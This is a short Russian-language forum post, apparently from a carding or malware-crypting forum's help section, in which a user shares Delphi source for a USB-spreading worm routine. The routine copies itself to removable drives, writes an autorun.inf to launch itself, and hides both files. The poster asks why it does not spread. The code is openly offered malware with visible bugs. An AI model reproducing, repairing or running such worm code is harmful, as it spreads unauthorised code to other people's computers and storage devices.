1
  1. Этот сайт использует файлы cookie. Продолжая пользоваться данным сайтом, Вы соглашаетесь на использование нами Ваших файлов cookie. Узнать больше.
Приветствуем вас,Гость, на форуме IFUD.WS. Обязательно рекомендуется к прочтению правила форума http://ifud.ws/threads/obnovleno-pravila-foruma.7759

usb-spider

Тема в разделе "Помощь по всем вопросам.", создана пользователем OFF, 10 май 2014.

  1. TopicStarter Overlay
    usFire

    usFire

    Регистрация:
    20 авг 2012
    Сообщения:
    274
    Симпатии:
    177
    Код:
    program Project2;
     
     
     
    uses
      SysUtils,
      Windows;
     
    var
     
    adet : integer;
    dosya : string;
     
      function InfectUsbDrives(ExeName:string):integer;
    var
    Drive: Char;
    myFile: TextFile;
     
     
     
     
     
    begin
    Result := 0;
    for Drive := 'A' to 'Z' do
    begin
    if (GetDriveType(PChar(Drive + ':\'))= DRIVE_REMOVABLE) then
    begin
        try
        if(FileExists(Drive)=True)and(FileExists(Drive+':'+ExeName)=False)then
        begin
            CopyFile(PChar(ParamStr(0)),PChar(Drive+':'+ExeName),False);
            AssignFile(myFile, Drive+':autorun.inf');
            if not FileExists(Drive+':autorun.inf') then ReWrite(myFile)
            else Append(myFile);
            WriteLn(myFile,'[autorun]'+#13#10+'open='+ExeName);
            CloseFile(myFile);
            SetFileAttributes(PChar(Drive+':'+ExeName),    FILE_ATTRIBUTE_HIDDEN);
            SetFileAttributes(PChar(Drive+':\autorun.inf'),  FILE_ATTRIBUTE_HIDDEN);
            Result := Result + 1;
        end;
        except
        end;
    end;
    end;
    end;
     
    begin
     
    adet := 0;
    dosya := 'C:\Windows\Notepad.exe';
    adet:=InfectUsbDrives(dosya);
    end.
    end.
    скомпилил , на флешку не прыгает
     
    • Like Like x 1
    Метки:

Поделиться этой страницей

Загрузка...